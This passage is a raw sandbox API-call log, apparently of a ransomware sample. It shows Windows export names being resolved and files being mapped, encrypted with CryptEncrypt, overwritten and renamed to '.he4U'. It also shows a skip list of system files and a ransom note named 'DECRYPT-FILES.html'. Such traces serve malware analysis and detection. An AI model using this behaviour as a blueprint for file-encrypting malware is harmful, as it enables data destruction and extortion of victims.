lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0147.708] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0147.708] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0147.708] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0147.708] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0147.708] lstrlenA (lpString="CREATEEVENTA") returned 12 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0147.708] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0147.708] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0147.708] lstrlenA (lpString="CREATEEVENTW") returned 12 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0147.708] lstrlenA (lpString="CREATEFIBER") returned 11 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0147.708] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0147.708] lstrlenA (lpString="CREATEFILE2") returned 11 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0147.708] lstrlenA (lpString="CREATEFILEA") returned 11 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0147.708] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0147.708] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0147.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0147.708] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0147.709] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0147.709] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0147.709] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0147.709] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0147.709] lstrlenA (lpString="CREATEFILEW") returned 11 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0147.709] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0147.709] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0147.709] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0147.709] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0147.709] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0147.709] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0147.709] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0147.709] lstrlenA (lpString="CREATEJOBSET") returned 12 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0147.709] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0147.709] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0147.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0147.709] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0147.710] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0147.710] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0147.710] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0147.710] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0147.710] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0147.710] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0147.710] lstrlenA (lpString="CREATEPIPE") returned 10 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0147.710] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0147.710] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0147.710] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0147.710] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0147.710] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0147.710] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0147.710] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0147.710] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0147.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0147.710] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0147.711] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0147.711] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0147.711] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0147.711] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0147.711] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0147.711] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0147.711] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0147.711] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0147.711] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0147.711] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0147.711] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0147.711] lstrlenA (lpString="CREATETHREAD") returned 12 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0147.711] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0147.711] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0147.711] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0147.711] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0147.711] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0147.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0147.712] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0147.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0147.712] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0147.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0147.712] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0147.712] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0147.712] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.he4U") returned 47 [0147.712] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.he4U" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.he4u"), dwFlags=0x0) returned 1 [0147.713] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.713] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.714] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.714] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="DECRYPT-FILES.html") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="autorun.inf") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="boot.ini") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="desktop.ini") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="ntuser.dat") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="iconcache.db") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="bootsect.bak") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="ntuser.dat.log") returned 1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="thumbs.db") returned -1 [0147.714] lstrcmpiW (lpString1="Rotate5.ico", lpString2="Bootfont.bin") returned 1 [0147.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0147.714] lstrlenW (lpString="Rotate5.ico") returned 11 [0147.714] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0147.714] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate5.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" [0147.714] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0147.715] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0147.715] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0147.715] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0147.850] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0147.850] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0147.850] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.851] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0147.851] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0147.851] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.851] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0147.852] CloseHandle (hObject=0x5f8) returned 1 [0147.852] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.852] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0147.852] CloseHandle (hObject=0x0) returned 0 [0147.852] CloseHandle (hObject=0x5f4) returned 1 [0147.853] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.853] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.853] GetTickCount () returned 0x3a3b3 [0147.853] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.854] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0147.854] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0147.854] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.854] lstrlenA (lpString="kernel32.dll") returned 12 [0147.854] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0147.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0147.854] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0147.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0147.854] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0147.854] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0147.855] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0147.855] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0147.855] lstrlenA (lpString="ADDATOMA") returned 8 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0147.855] lstrlenA (lpString="ADDATOMW") returned 8 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0147.855] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0147.855] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0147.855] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0147.855] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0147.855] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0147.855] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0147.855] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0147.855] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0147.855] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0147.855] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0147.855] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0147.855] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0147.855] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0147.855] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0147.855] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0147.855] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0147.855] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0147.855] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0147.856] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0147.856] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0147.856] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0147.856] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0147.856] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0147.856] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0147.856] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0147.856] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0147.856] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0147.856] 